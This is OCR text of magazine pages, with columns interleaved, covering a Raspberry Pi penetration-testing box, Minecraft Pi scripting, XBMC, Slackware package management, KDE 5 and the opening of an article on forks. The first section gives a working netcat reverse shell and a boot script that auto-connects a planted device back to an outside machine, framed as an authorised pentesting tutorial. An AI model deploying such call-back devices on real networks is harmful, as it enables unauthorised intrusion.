disguising it as a security camera, a network
printer, or a router. There really are lots of    Kali has the Xfce desktop rather than LXDE, which is the default on Raspbian. Now that there’s a
options here.                                     version for the Raspberry Pi, penetration testers are in for some fun.
    The second thing you’ll need is some
software. Raspbian is a great general-            from the machine that the Pi connects to in          /root/autoconnect with the contents:
purpose OS, but it lacks some of the              the opposite way to an SSH session.                  #!/bin/bash
software that’s useful when you’re trying            To do this in the hacking scenario, you’ll
to break into a network. Kali is a Linux          need a machine with a public IP address              while true
distribution that’s designed specifically         (such as a VPS or a web server), but for             do
for penetration testers (ethical hackers),        testing, you could just use another machine                        nc -e /bin/bash 192.168.0.2
and has a version for the Raspberry Pi.           on the same network. To set up the reverse           done
Download it from www.offensive-security.          shell, you first need to set the main machine        and make it executable with:
com/kali-linux-vmware-arm-image-                  (ie not the Raspberry Pi) to listen. You can         chmod a+x /root/autoconnect
download, and then transfer it onto an SD         do this with the command:                               Then create a script to run it at boot. This
card using the dd command.                        nc -l 1234                                           will be the file /etc/rc3.d/Zautoconnect, and
                                                    This will listen on port 1234 (you could           it should contain:
Reverse shell                                     use port 80 to avoid suspicion if you’re not         #!/bin/bash
When you boot up into Kali, you’ll get to         running a web server). On the Pi, you can            /root/autoconnect &




                                                                                                                                                          8
a login screen. The credentials are root /        then enter:                                             Voilà! You now have a machine that, when
toor. Once you’re logged in, the command          nc -e /bin/bash 192.168.0.2 1234                     plugged into a network, will automatically
startxfce4 will begin a graphical session.          This will connect to the IP address                connect back to your computer and allow
    It’s often possible to plug any device into   192.168.0.2 (you will need to change this).          you to control it, giving you access to an
an organisation’s network and access the          On the main machine, you can now enter               internal network from outside. By making
internet, and that’s what we’ll try and do        commands that will run on the Pi.                    an outward TCP connection, it should allow
with our hacking box. However, we need a                                                               you to get through many (though not all)
way of controlling it. You won’t be able to       Start on boot                                        firewalls. It’s also armed to the teeth with
SSH into it because it’ll be behind a NAT and     Of course, this won’t work in our hacking            penetration testing software to allow you to
firewall. However, it’s often much easier to      scenario because we won’t be able to get             scan and attack the network it’s in.
make a connection out of a network than           to the Pi to enter the command to start                 This is a great tool for penetration testers,
it is to make a connection in. We’ll set our      the reverse shell. We need to set it to run          and should be used only in that way – to find
Raspberry Pi up to connect outwards to our        automatically, and reconnect if there’s a            security weaknesses with the permission
main machine and create a reverse shell.          problem. We can do this by creating a script         of the people who own the network you’re
That means that we’ll be able control the Pi      and running it at boot. First create the file        attacking. Using it maliciously is illegal and
                                                                                                       many countries have severe penalties for
                                                                                                       hacking. What’s more, the above script has
“We’ll set our Raspberry Pi up to connect outwards                                                     your IP address in it, so it won’t take them
to the main machine and create a reverse shell.”                                                       long to find you when they discover the
                                                                                                       device. Use it responsibly!



24                                                             www.linuxvoice.com
7
                                                                                              8 RASPBERRY PI PROJECTS FEATURE


Minecraft
Only the Pi version of Minecraft lets you script your world.


F
         or many of you, Minecraft will need
         no introduction. It’s one of the most
         popular games of the past few years
and has transformed its creator from an
indie game developer into a superstar. In the
game, your character inhabits a blocky 3D
world that they can mine for the
components they need to craft new items
(hence the name).
   There’s a special version for the Raspberry
Pi that’s available for free from pi.minecraft.
net, and it’s a little different from most
versions. First, there aren’t any nasty
creatures that come in the night and try
to kill you. Second, it has a programmable
API that isn’t available on most versions.
This means that you can write code that                   All power corrupts and absolute power corrupts absolutely – revel in your absolute power/
dives into the internals of the game and                  corruption in the safe world of Minecraft, as seen here in its Raspberry Pi incarnation.
manipulates the 3D world. You can teleport
the player, and even change the blocks from                  The minecraft module contains all you               list of them at http://minecraft.gamepedia.
one type to another.                                      need to connect to the world. Enter the                com/Blocks, though not all of these are
   Once you’ve downloaded the tar.gz file                 following into the Python session:                     available in the Pi version). There’s no official
from the above site, unzip it with:                       >>> import minecraft                                   documentation for the API, but the code is
tar zxvf minecraft-pi-0.1.1.tar.gz                        >>> mc = minecraft.Minecraft.create()                  commented, so the best way of finding out
You can then start a new game with:                                                                              all the available methods is to look inside
mcpi/minecraft-pi                                         King of the world!                                     the minecraft.py file. Almost all of them
This will let you create a world and play the             The mc object can now be used to                       revolve around getting a particular attribute
game as normal (albeit a little stripped down             manipulate the world; for example, the                 or setting it.
from the main PC version). However, once                  following command moves the player to the                 We’ll leave it up to you to decide what to
you start playing, you can open up a new                  coordinates 10,10,10:                                  do with this power, but a few suggestions
LXTerminal window, and start playing God.                 >>> mc.player.setPos(10,10,10)                         are: build mansions, mazes, or re-create
   You need to navigate to the folder                       To set a particular block location to a              things from the real world; use one of the
containing the api module, then start a                   particular block type, use:                            Python GPIO modules to interface Minecraft
Python interactive session:                               >>> mc.setBlock(x,y,z,block_type)                      with the real world; or build 3D games using
cd /home/pi/mcpi/api/python                                 Where x,y and z are the coordinates and              Minecraft as a rendering engine. With the




8
python                                                    block type is the numerical type ID (there’s a         Raspberry Pi, the world’s your oyster.


  XBMC
  The chip at the heart of the Raspberry Pi – the BCM2835 – was designed for
  embedded multimedia devices such as set-top boxes. This means it’s got quite a
  powerful graphics processor and can handle high-def video playback. In other
  words, the Raspberry Pi makes a great base for building your own media player.
     XBMC is, in our opinion, the best home theatre software for Linux, and one
  group of enthusiasts have built a distro specifically designed for running XBMC
  on the Pi: Raspbmc. At the time of writing, a new version of Rasbmc is in
  development. It has spread beyond the Raspberry Pi to other platforms (the
  Cubox-i and Apple TV have been named), and so it’s been renamed the Open
  Source Media Centre (OSMC).
     The easiest way of installing Raspbmc is via the Noobs OS installer (www.
  raspberrypi.org/introducing-noobs), though it’s also possible to install it via a
  shell script from a Linux computer other than the Raspberry Pi (www.raspbmc.
  com/wiki/user/os-x-linux-installation). XBMC will give you an interface for
  watching your movies, or listening to music on your Pi. You can even connect it
  to another computer running TVHeadend to watch or record live TV. The real
  advantage of XBMC over other media players (such as VLC) is the interface that’s    You can even use a smartphone as a remote control for XBMC
  designed for a home theatre rather than a PC.                                       (https://play.google.com/store/apps/details?id=org.xbmc.android.remote).




                                                                         www.linuxvoice.com                                                                      25
     FEATURE SLACKWARE




             JOIN THE
            SLACK SIDE
                               Forget your Ubuntus and Fedoras – true
                             Linux Nirvana comes from following the way
                             of Slackware, according to Andrew Conway.




         B
                 ack in the day, before there were friendly GUI     these ways and give you a rock-solid, modern
                 installers; before pretty became a feature, and    operating system that’s under your full control.
                 before a Linux-based OS conquered the world          The simplicity of Slackware is in how it operates,
         through the magic of smartphones, there were only a        the way packages are handled and how key parts of it
         handful of Linux distros. Most of them have fallen by      are written and configured using text files. When it is
         the wayside over the years – who remembers                 set up, it can be as easy to use as any other distro
         Yggdrasil, Caldera or Linspire?                            with a full-fat desktop like KDE, or as leet as you like
           There is one survivor from those days though, and        with a simple tiling window manager.
         you can try it today: Slackware. Slackware is simple.        If you’ve played around with other Linux distros or a
         By that, do we mean that it’s is easy to install, set up   BSD variant and found yourself intrigued on the
         and use? If you charge in armed only with enthusiasm,      command line, then you shouldn’t find Slackware too
         then the answer is probably no. But if you have some       challenging. With Slackware, it really pays dividends to
         experience with Linux, are prepared to read the            spend time with the READMEs before embarking on a
         documentation and invest enough time in                    serious endeavour such as installing it. As with many
         understanding it, then Slackware can be easy in all of     OSes, a good way to start experimenting with



26                                                     www.linuxvoice.com
                                                                                                               SLACKWARE FEATURE

Slackware is to install it in a virtual machine using
software such as VirtualBox or Qemu.
   A great resource for Slackware is docs.Slackware.
com. At the top of the main page you’ll see a link to
“Slackware installation” – read that page and you’ll get
a detailed and clear description of how to install it.
We’re not going into installation details here, but a
crucial point to remember is that it’s recommended
that you do a full installation. This may seem irksome,
especially if you’re used to starting with a minimal
package set and just adding in what you need, but
there’s a good reason for it, which we’ll come to later.
Besides, only 8 GB is required, which even for a
five-year-old computer is probably a fraction of your
available hard drive space.

The mythical Slackware package manager                     importantly, most of the libraries you’ll need will be            Slackware may be over 20
There’s a myth that Slackware has no package               installed. So, if you install package ‘foo’, it’s likely that a   years old, but that doesn’t
                                                                                                                             mean users are stuck
manager. Like all myths it has some basis in fact, in      dependency, say, library ‘lib-bar’, is present already.
                                                                                                                             in the past – here it is
that Slackware doesn’t come with a GUI package             Contrast this with Arch, say, where the initial minimal           running KDE 4 and a bunch
manager nor one that automatically handles                 install is likely not to contain ‘lib-bar’ and Pacman will        of modern applications.
dependencies, though unofficial tools such as              have to pull in ‘lib-bar’ and all of its dependencies too.
slapt-get do exist.                                        That’s no criticism of Arch – in fact Arch is often a
  If you are used to Yum, Pacman, apt-get, or              loyal Slacker’s second distro choice because it offers a
Ubuntu’s GUI tools, we can’t blame you for finding this    different kind of simplicity, one that starts from
off-putting, but there is a reason behind it. In fact,     minimalism.
Slackware users actually grow to appreciate the                I’ve been using Slackware for nearly 20 years for all
advantages of handling dependencies manually. And          kinds of things (scientific computing, audio, software
no, it’s not a form of spiritually cleansing masochism:    development, gaming) and only once did I have a
Slackware users do not wear horsehair shirts, nor do       problem with a package having so many
they birch themselves at daybreak. The reason behind       dependencies that it put me off an installation
the lack of automated dependency checking is –             (Pandoc’s dependency on Haskell was the culprit). It’s
guess what? – simplicity. Let us explain.                  not uncommon that there are no dependencies to
  Slackware is designed so that with a full installation   install, and when there are it’s often just one or two. To
you will be provided with tools to address most tasks      illustrate the point, these are a few of the packages I
you’d expect from a modern OS, but even more               have installed that are not included in Slackware 14.1:
                                                           LibreOffice, Steam, Audacity, VirtualBox, TeamViewer,
                                                           OwnCloud desktop client and NetBeans. Together they
                                                           only required three
                                                           packages to be installed
                                                           as dependencies
                                                                                        “Slackware users do not wear
                                                           (including                   horsehair shirts, nor do they
                                                           dependencies of
                                                           dependencies).
                                                                                        birch themelves at daybreak.”
                                                               If you accept that
                                                           manual dependency resolution in Slackware isn’t as
                                                           big an overhead as you’d expect, then you can start to
                                                           appreciate the advantage it brings: understanding your
                                                           system. Here’s an example. Recently I got a Dell XPS
                                                           13 with Ubuntu 12.04 LTS pre-installed and I grew to
                                                           like it in many ways in the six months I used it. But, on
                                                           one horrible morning when I had some urgent work to
                                                           do, it refused to boot. I ruled out a hardware problem,
                                                           and after poking around on the recovery console, I
                                                           guessed that some package I recently installed had
                                                           trashed the X display drivers. Reinstalling the Ubuntu-
                                                           desktop package and the X drivers seemed to fix it,
Tux the penguin is depicted here with J. R. “Bob” Dobbs,   but many hours were lost. I never really understood
founder and prophet of the Church of SubGenius.            what caused the problem – my best guess was that it
It’s a bit like how a Jedi uses The Force.                 was either a dependency of Steam or a 3D



                                                             www.linuxvoice.com                                                                      27
     FEATURE SLACKWARE

                                                                                            Or perhaps you’ve found a file such as /usr/bin/
                                                                                         scareyvirustrojon.nasty and wonder where it’s from –
                                                                                         this will tell you:
                                                                                         grep nastyvirus /var/log/packages/*
                                                                                         and hopefully jog your memory into realising it’s part
                                                                                         of that Humble Bundle game you installed a while ago.
                                                                                           Updated Slackware packages come out soon after
                                                                                         upstream maintainers release a security fix. For
                                                                                         example, when I read about the infamous Heartbleed
                                                                                         bug in a tech news RSS feed, I found there was already
                                                                                         an updated package from Patrick Volkerding. When an
                                                                                         updated package is released, it’s simple enough to
                                                                                         download the new tarball and install it with
                                                                                         upgradepkg foo. However, if a number of updated
                                                                                         packages arrive at the same time, it’s much simpler to
                                                                                         use the slackpkg tool instead, which looks much like a
                                                                                         command line package manager from other distros, ie:
sbopkg is an efficient
                         visualisation package that I had recently installed             slackpkg update
Curses-based tool for
browsing and working     using the Software Centre.                                      slackpkg upgrade-all
with scripts from            Now, Slackware is not magic. I have trashed                    The first line updates the information on the
SlackBuilds.org.         Slackware systems too, but when I did I could usually           packages, a bit like apt-get update, and the second
                         see the trouble ahead, and could decide to leave well           line brings up a Curses menu where you can choose
                         alone until after some important work deadline was              which upgrades to apply. Slackpkg is shipped with
                         behind me. And if I did take the plunge and trash the           Slackware and it only works with packages in the
                         system I’d know exactly what I’d done and so could fix          official distribution. However, there is a plugin for it,
                         it fairly easily.                                               called slackpkg+, that enables you to work with a
                                                                                         number of other repositories, such as long-time
                         Simple package handling scripts                                 Slackware contributor Eric Hameleers’ packages and
                         I rely on a trio of Bash scripts provided with Slackware:       slacky.eu.
                         installpkg, upgradepkg and removepkg. These scripts                Another key difference with Slackware is that
                         do what they say, and take one argument, which can              upstream sources, including the Linux kernel itself, are
                         be either, the name of the package, foo, or the full            rarely patched. Yet again, it’s for simplicity’s sake. It’s
                         filename, foo-1.6-i686-LV.txz. There are also a                 simpler for the maintainer (and remember, Slackware
                         number of options that are explained in the provided            really has only one full-time maintainer) but it’s also
                         man pages, but if you want to know exactly what’s               simpler for a user who wishes to alter the system by
                                                             going on you can read       installing, say, a different version of PHP, or even the

“Another key difference with                                 the scripts yourself
                                                             with less /sbin/
                                                                                         kernel itself. It’s also a bonus for upstream, because if
                                                                                         they get feedback from a Slackware user they can be
Slackware is that upstream                                   upgradepkg.                 reasonably confident that the bug wasn’t introduced in

sources are rarely patched.”                                    The installpkg script
                                                             extracts the tarball in
                                                                                         a patch.

                                                             place in the filesystem     SlackBuilds
                         tree (/usr, /etc, /lib and so on), and then, if a file called   Slackers like to know where their packages come
                         doinst.sh exists, it’s run for post-installation tasks.         from – personally I only install packages from three
                            The upgradepkg script is simple too – it installs the        sources: official; Eric Hameleers’ repositories; or those
                         new version of the package specified, say foo-1.6,              I build myself. A Slackware package is usually created
                         then checks to see what files were present in the               with a SlackBuild script, which is a Bash script that
                         foo-1.5 package but not in 1.6, and removes them.               takes the source (or a binary distribution) and turns it
                            If you want to find out what packages you’ve got             into a Slackware package. For example:
                         installed, all you need do is look in the /var/log/             wget http://SomeTrustedSite.org/foo.tar.gz
                         packages directory. Every installed package will have a         tar xvf foo.tar.gz
                         text file present with the same name of the original            cd foo
                         package file, but without the extension, eg foo-1.6-            wget http://HomeOfFoo.org/downloads/source/foo-1.6.tar.gz
                         i686-LV. The file will list every file in the package with      ./foo.SlackBuild
                         its full path. In the spirit of being *NIXy, you can then       installpkg /tmp/foo
                         examine the status of packages using file and text                 First we get a tarball that contains the SlackBuild
                         commands. For example, if you’re wondering if                   script and other related files (or we could just write a
                         package foo is installed and, if so, what version, where        SlackBuild ourselves). We then extract it and cd into its
                         from and when you installed it, just do                         directory, then download the source code. At this point
                         ls -l /var/log/packages *foo*                                   I’d usually stop to glance over the SlackBuild so I can



28                                                         www.linuxvoice.com
                                                                                                                 SLACKWARE FEATURE

see what it’s going to do. Then the script is executed
and the package is installed. Whenever it’s available, I       Old yet up-to-date
also like to check the GPG key or MD5 sum of                   As Linux emerged from infancy, Slackware        and donations. It does have a strong
downloaded files.                                              became the most popular distribution by         community, which can be found on IRC, but I
  At simplest, a SlackBuild script for something that          proving its worth as a more reliable fork of    generally seek help and offer advice on the
                                                               the now defunct Soft Landing System (SLS)       forums at LinuxQuestions.org. A few
uses the common autotools build method could be
                                                               distro. Debian was released slightly later in   community members are worthy of mention, in
tar xf foo-1.6.txz                                             1993 and, in contrast to Slackware, evolved     particular Eric Hameleers (aka Alien Bob) and
cd foo-1.6                                                     with a democratic and distributed               Robby Workman, who you might call core
./configure                                                    philosophy, and now has an impressively         contributors to Slackware, and Stuart Winter
make                                                           large community and has spawned many            (aka drmozes) who maintains the ARM port.
                                                               more derivatives, most notably Ubuntu.             Slackware is on version 14.1, released in
make install DESTDIR=/tmp/foo-1.6
                                                               There are quite a few distros based on          November 2013 with the 3.10.17 kernel in 32-bit,
cd /tmp/foo-1.6                                                Slackware, including Slax, Vector Linux         64-bit and ARM editions, and UEFI hardware
makepkg /tmp/foo-1.6-x86_64-LV.tgz                             Zenwalk and Salix – each of them adding         installation is supported. There’s also an elegant
   The first few lines should be familiar. The fifth line      different things, such as a live CD/USB         multi-lib (ie supporting both 32- and 64-bit)
copies the build products (binaries, libraries, icons etc)     version and more featureful (but more           solution maintained by Eric Hameleers.
                                                               complicated) package managers.                  Releases have averaged at about once per year
to the /tmp/foo-1.6 directory, within which you’ll
                                                                  Slackware has just one professional          recently, but if you feel a bit more bleeding edge,
typically find directories such as /usr/bin, /etc, /lib/       maintainer, Patrick Volkerding, who draws       you can keep updated to Slackware-current
and so on, corresponding to where the installed files          his living from subscriptions, merchandise      which will eventually become the next release.
should end up. The final two lines will make the
package. DESTDIR isn’t always supported, but usually
there’s an equivalent parameter that does the job.           you can peruse the concise README and then check
Notice that the package file name is conventionally of       to see what dependencies it has. If there are none,
the form PACKAGENAME-VERSION-ARCHITECTURE-                   then a key press tells sbopkg to download the source,
BUILD. The last bit is useful to keep track of where a       check MD5 sums, run the SlackBuild and install the
package has come from and who built it.                      package. If there are dependencies, you can add the
   Usually SlackBuilds have extra lines to standardise       current package to a queue for later processing, and
them and make them easier to update, eg $VERSION             then search for each dependency, adding them to the
could be defined up front, so that the version number        queue as you go. Once you’ve queued them all up, hit a
1.6 doesn’t have to be scattered throughout the script.      key and it’ll process the entire queue.
Other common additions to scripts are to remove                 If hunting down dependencies really does become a
extraneous files left over from the build process, copy      chore, you can use a tool called sqg to generate queue
README files into the package, add path prefixes             files which effectively turns sbopkg into a package
such as /usr, and even patch the source. The rule of         manager with automated dependency resolution.
thumb is to stay close to what upstream provided.
                                                             The future?
The lazy way to slack                                        Slackware has been around for a while, and it shows
I rarely write my own SlackBuild scripts these days          no sign of going away anytime soon – but what if
– in fact I rarely even run SlackBuild scripts myself. My    Patrick Volkerding decided to abandon it, or he
preferred modus operandi involves two excellent              became unable to continue? Most of the main distros
resources from the Slackware community.                      aren’t reliant on one person, and even if, say, Red Hat
   The first is SlackBuilds.org, often abbreviated to        Inc went under, it’s probable that Fedora would
SBO. This is a website with a repository of scripts for      continue, just as Mageia was forked from Mandriva
packages that are not present in the full Slackware          after its company got into trouble. It’s likely that
distribution. Each script has its own page with a link       Slackware too would continue in some form with
for downloading the SlackBuild tarball that includes         volunteers from the community stepping up, but the
the SlackBuild script itself with a README and an info       distro would inevitably change in character because
file with information about the source, such as              Slackware is imprinted with Patrick’s personality.
download link and MD5 sum. SlackBuilds is an                    I’ve spent serious time with Ubuntu, CentOS, Mint,
excellent resource and relies on community                   Red Hat, Arch and Tiny Core, and learned different
contributions, but is moderated by a small team who          things from each of them, and can see how they suit
ensure that standards are kept high and that no silly or     others’ needs, just as Slackware suits mine. Slackware
malicious SlackBuild scripts are admitted – since            is like a very cleverly designed machine in which you
SlackBuilds are often run as root, you really don’t want     can see how all the various intricate parts work
one to have rm -rf / lurking inside it. It’s also worth      together. Not only can you gain a deep insight into
noting that all the scripts on SlackBuilds.org will          GNU/Linux by spending time with Slackware, but you
assume a full Slackware installation.                        will feel in control of your software and hardware. In
   The second essential resource is sbopkg, which is a       an era in which we have good reason to believe that
Curses-based tool that makes it easier to work with          our consumer electronics, in sealed units with
SlackBuilds.org. It allows you to search for a package       proprietary software, may be used to spy on us, this
by any fragment of its name, and once you’ve found it,       is especially reassuring.



                                                               www.linuxvoice.com                                                                                    29
     FEATURE THE FUTURE OF KDE




               THE FUTURE OF


          KDE 5 is going to be magical. KDE contributor Jos Poortvliet tells us
            about its development, its organisation and what we can expect.




          K
                   DE technology goes much further than its         developers was to build a modular base suitable for
                   humble beginnings in 1996, when we started       multiple different user interfaces. This may seem an
                   out building a desktop environment. KDE          obvious goal today, when everyone is talking about
          today has many hundreds of active developers. They        the convergence of high-resolution displays, tablets,
          not only make a desktop, now called Plasma Desktop,       mobile phones, media centres and so on, but KDE is
          but also a variant for tablets (Plasma Active), and TVs   still unique in its ability to unify the different form
          (Plasma Media Centre). Even the humble Plasma             factors at a code level.
          Netbook is already five years old. Meanwhile, KDE
          applications have gone beyond simple clocks and           Plasma
          calculators – we have a full office suite, mail and       Plasma is the desktop component that most people
          calendaring, video and image editors and much more.       think of when they hear the words ‘KDE 4’, and it took
            KDE applications are                                                                   some time to mature.
          being ported to multiple
          platforms – from
                                     “KDE is no longer just a desktop                              This was in part due to
                                                                                                   its ambitious design, but
          Windows and Mac to         environment – KDE is our                                      also because the
          Android. And our libraries
          (KDE Frameworks) are
                                     people and our technologies.”                                 technologies it’s built
                                                                                                   upon were not mature
          going modular, making                                                                    enough for its needs.
          them freely available to a far wider audience than just   This is still a problem today, and while it’s very stable
          KDE developers. Today, KDE is no longer just a Unix       the 4.x series has workarounds to deal with the
          desktop environment. KDE is our people and our            deficiencies in the platforms below it.
          technologies; Plasma, Applications and Frameworks.           This is where the next generation of Plasma
            Plasma was conceived as the next generation of          technology comes in; Plasma Next. Sebastian Kügler
          KDE’s desktop technology. Its architecture was            (aka Sebas), team lead at Blue Systems and at the
          drafted in 2006 and 2007, and the goal of the             very heart of the current group of Plasma developers




30                                                      www.linuxvoice.com
                                                                                                  THE FUTURE OF KDE FEATURE

simply puts it, future Plasma is going to be more than
new technology, “We don’t want to pass the
opportunity to fix what nags us and our users.
Improvements in details mean that we listen to our
users, a large portion of whom do not want to be the
subject of UI experiments, but who require a reliable
system that supports and improves the personal
workflows they have almost brought to perfection.”
   With Plasma Next the team can start working on
bringing seamless switching of workspaces when
moving from device to device. For example, plugging
a keyboard and mouse into a tablet can trigger
Plasma to transform its tablet-and-touch optimised UI
into the desktop interface. But these advanced
features do not take away from the familiar interface.
As Sebas continues, “The Plasma team is fully aware
of the value of established workflows of computer
                                                                                                                           KDE 4 has become a
users and the need to not disrupt them. This means                Heiko Tietze, a specialist at User Prompt GmbH
                                                                                                                           fantastic desktop, and
that there will be minimal feature loss or changes in          usability consultants, explains the role of the usability   KDE 5 shouldn’t break any
the setup of the desktop. Just butter-smooth                   team: “Having the ordinary user in the brainstorm, as       of the good work that has
performance, a polished look and more flexibility.”            well as ambitious designers acclimatised to a different     been put into getting the
                                                               environment, sometimes leads to strange results.”           desktop this far
Visual Design Group                                                “Some people may just dislike the currently popular
The idea behind the Visual Design Group (VDG) was to           flat design, for instance, but others have to struggle
build a team in KDE that would focus on design. This           with accessibility. And the next wants to keep the
is done in a rather novel way, led by the enthusiasm of        workflow as it is. The usability guys put on the brakes
Jens Reuterberg, a FOSS enthusiast and designer                in case of ideas that have large-scale effects.
from Sweden. He calls it: “a social experiment. On the         Violations of the present interaction are a major
one hand the goal is to create a stunning visual design        product risk and need to be tested in advance.”
for Plasma Next, on the other the plan is to create a             “One focus of the work of the usability team is the
community of designers and make design a ‘thing’               involvement of users,” adds Björn Balazs, owner of
within Plasma and KDE and open Source in general.”             User Prompt and contributor to the KDE usability
   “I want to change the way we look at people and             team. “Even before we start working on an application
stop dividing them into experts and ‘everyone else’. I         we conduct surveys to understand how users are
want to tear down those barriers and makes us all feel         going to benefit from the application. If needed we use
included, like we’re a part [of a whole], like I felt on the   online tools to sort and prioritise information. We then
first sprint I was at. I want to change the way we             present sketches, clickable mockups or screencasts
handle design and this work is a test for that.”               of our ideas to give users the possibility to give
   Since the inception of the design team, work has            feedback. In this way improve the interaction design
been done in many areas. There have been new icons             based on real feedback from a large base of users as
and improvements to existing design elements of                the coding of the application goes along.”
KDE software, but the majority of work has been
focused on Plasma Next. A widget theme, a cursor               Usability
them and new icons are all in the pipeline, but the            Apart from working directly with developers and
team also looks at interaction design and workflows            training them, the usability team has been reworking
in the interface, working together with the KDE                KDE’s Human Interface Guidelines. According to
usability team.                                                Heiko, “KDE as a whole has to have a common




                                                                                                                           KDE 4 makes it difficult to
                                                                                                                           work with HiDPI screens
                                                                                                                           whereas the new Plasma
                                                                                                                           desktop should make full
                                                                                                                           use of your monitor’s
The new Oxygen font is part of providing a unified visual                                                                  known DPI, whatever its
front for the desktop design.                                                                                              physical size.



                                                                 www.linuxvoice.com                                                                  31
     FEATURE THE FUTURE OF KDE




KDE 5’s new flat look is
                           branding, which is up to the designers, but also a
very fashionable at the
moment, but we like it.    unique and consistent way of interaction. As a first
                           step to get there, we pushed the old human interface
                           guideline to a new level, together with the Visual
                           Design Group, which was working on the presentation
                           side of things.”

                           KDE Frameworks
                           Experiences in the world of mobile and web
                           applications have shown that users are far more likely
                           to start using features and appreciate small batches
                           of them instead of large dumps. Short release cycles
                           can bring bugfixes and improvements to users much
                           faster. On the other hand, most users of KDE access
                           their software and updates through the downstream
                           distributions, which are on slower release cycles even
                           though they have repositories for updated software.
                              Albert Astals Cid, from the KDE release team, points
                           out, “This discussion needs to include the distributions
                           as much as the upstream developers. And in any
                           case, both KDE release infrastructure and promotion
                           will have to be adjusted as well.”
                              This discussion was started on the community list
                           by Mario Fux, release team member and better known
                           as the organiser of the famous ‘Randa’ meetings. His
                           proposals, based on extensive discussions with key
                           members of the release team and developers, include:
                              Cleaning up the core set of KDE applications.
                              Grouping releases in a regular but non-mandatory
                              cadence.
                              Making the KDE Applications 4.15 release a Long
                              Term Supported one, moving to Frameworks 5
                              after that.
                              The trend towards shorter release cycles requires
                           many questions to be answered before it becomes
                           feasible in practice. But a move to Frameworks 5 is
                           certain to happen at some point – the question is
                           when, not if. Albert highlights the main problem, “We
                           need to move to KF5 since we don’t have the
                           manpower to keep supporting both 4 and 5 versions
                           of apps; but we can’t rush the move to KF5 since we
                           can’t afford bad quality. My thinking goes between
                           killing the KDE 4.x applications release concept and
                           switching to a “KDE Applications 2014” release
                           concept, where apps can either be 4- or 5-based and
                           making 4.14 a very long supported release with the
                           ability to add small new features while we do releases
                           of 5 with the apps that are ready. The first helps with
                           making sure apps move to 5 when they are ready and         Activities and Widgets are still a central part of the future of
                           not rushed. It has the problem that some people will       KDE, but the way you interact with them is being refined.


32                                                        www.linuxvoice.com
                                                                                                                THE FUTURE OF KDE FEATURE

  KDE e.V. Most of the mystery surrounding KDE’s organisation is thanks to German law
  You can’t talk about KDE and governance without
  bringing up KDE e.V. (eingetragener Verein or
  registered association). This German non-profit is
  the legal organisation behind the KDE community,
  and it plays several important roles. Initially set up
  to handle funding for KDE’s conferences, the e.V.
  now organises events all over the world, from Camp
  KDE and Lakademy in the Americas to conf.kde.in
  in India. In addition, many Developer Sprints,
  usually with about 5–15 people, are supported, as
  are the annual meetings in Randa in the Swiss Alps,
  which can attract 40–60 developers. It also
  provides legal services and pays for infrastructure
  such as servers.
      But the eV is also an agent of change, as            Each year, KDE developers get together at the Akadamy conference. Last year’s event was in
  Cornelius Schumacher, president of KDE e.V. and          Bilbao, while this year’s is in Brno, Czech Republic. Photo CC-BY-SA: Knut Yrvin
  long-time KDE contributor explains: “KDE e.V.
  provides a place where core KDE contributors come           A recent example of KDE’s ongoing improvement       others what you are about. The KDE Manifesto
  together and discuss a wide variety of subjects.         efforts is the KDE Manifesto. This has been a long     made plain what was involved in being part of the
      “In the last eight years or so, KDE e.V. has been    time coming, but Kévin Ottens, a core KDE              KDE Community, including the benefits and the
  the major driver behind increasing the number of         contributor instrumental to the KDE Frameworks 5       ways we operate.
  developer sprints and has created the Fiduciary          efforts got it to the finish line.                        As Kevin said, “Something like the KDE Manifesto
  Licensing Agreement, which allows it to re-license          The Manifesto explicitly defines the KDE            was necessary because we’re an extremely
  KDE code when needed, while protecting developers’       community’s values and commitments to each             self-organised community. At some point you need
  interests. The Code of Conduct originated with KDE       other. The importance of this can hardly be            some form of regulation, and since we wouldn’t like
  e.V., as did the Community Working Group, which          overstated – knowing who you are and what you          something bureaucratic, relying on culture and
  helps deal with communication issues.”                   want helps you make decisions but also shows           values instead is a much better match.”



prefer to keep doing features in their 4 version and will            libraries that KDE software depends upon. Distributed
delay the port to KDE 5 indefinitely.”                               as a single set of interconnected libraries, they form a
   The 4.x series will be with us for the time being, and            common codebase for (almost) all KDE applications.
a Frameworks 5 series will be available at some point                The KDE Frameworks – designed as drop-in Qt Addon
in parallel. Regardless of the series, applications will             libraries — will enrich Qt as a development
work fine under any desktop. Developers want to                      environment. The Frameworks can simplify, accelerate
ensure that migration is not an issue.                               and reduce the cost of Qt development by eliminating
   When KDE began more than 15 years ago,                            the need to reinvent key functions.
development was application-driven. Libraries were
intended to share work, making development easier                    All change
and faster. New functionality in the libraries was added             Qt is growing in popularity. Ubuntu is building on Qt
based on simple rules. For example, if a particular                  and QML for Ubuntu Phone and planning to move
functionality was used in more than one place, it was                over the desktop in the future. The LXDE desktop and
put into a shared library. Today, the KDE libraries                  GCompris projects are in the process of porting over
provide high-level functionality like toolbars and                   to Qt. Subsurface (a divelog project made famous by
menus, spell checking and file access. They are also                 having Linus Torvalds as core contributor) has had its
used to fix or work around issues in Qt and other                    first Qt based release. With Frameworks, KDE is
                                                                     getting closer to Qt, benefiting both, as well as more
                                                                     and more users and developers.
                                                                        But in all this change, it is crucial that the KDE
                                                                     community preserves what makes it work well. KDE
                                                                     has gotten where it is today by the culture and
                                                                     practices of today. Like in any community, these are
                                                                     hidden rules that enables KDE to pool the knowledge
                                                                     of so many brilliant people, and without too much
                                                                     politics, to make the best decisions possible. This
                                                                     includes well known Free Software soft rules like Who
                                                                     Codes, Decides, RTFM, Talk is Cheap and Just Do It,
                                                                     but also very KDE-like rules such as Assume Good
                                                                     Intentions and Respect the Elders. And, as Kevin
                                                                     Ottens points out, “just like in the French Liberté,
                                                                     Egalité, Fraternité, the rules are inseparable and
As Linux graphics moves away from X11, KDE’s compositor              interdependent. They are what makes KDE such an
will support Wayland without too much effort.                        amazing place, full of creativity, innovation and fun.”



                                                                        www.linuxvoice.com                                                                              33
     WHEN PROJECTS SPLIT




                                 Fork it!
                Forks have created some of the best projects in Free Software,
                    but their origins are usually controversial and messy.
                                 Mike Saunders investigates.


        I
            magine you’ve been using a certain program for           gather together some fellow hackers to begin work on
            years. You absolutely love it, and you can’t live        an open source version of your beloved app – but it
            without it. You know every feature, menu item and        could take years to reach the same level of functionality.
        keybinding like the back of your hand. Then suddenly the     In other words, you’re stuck.
        development team announces a major change: they’re              Fortunately, we users of free and open source
        redesigning the interface, or removing features to make      software don’t have this problem. At any point we can
        the program more                                                                            take a program’s source
        accessible to newcomers.
          You’re incensed. You join
                                      “The ability to fork a program                                code and split it off – or
                                                                                                    “fork” it – into another
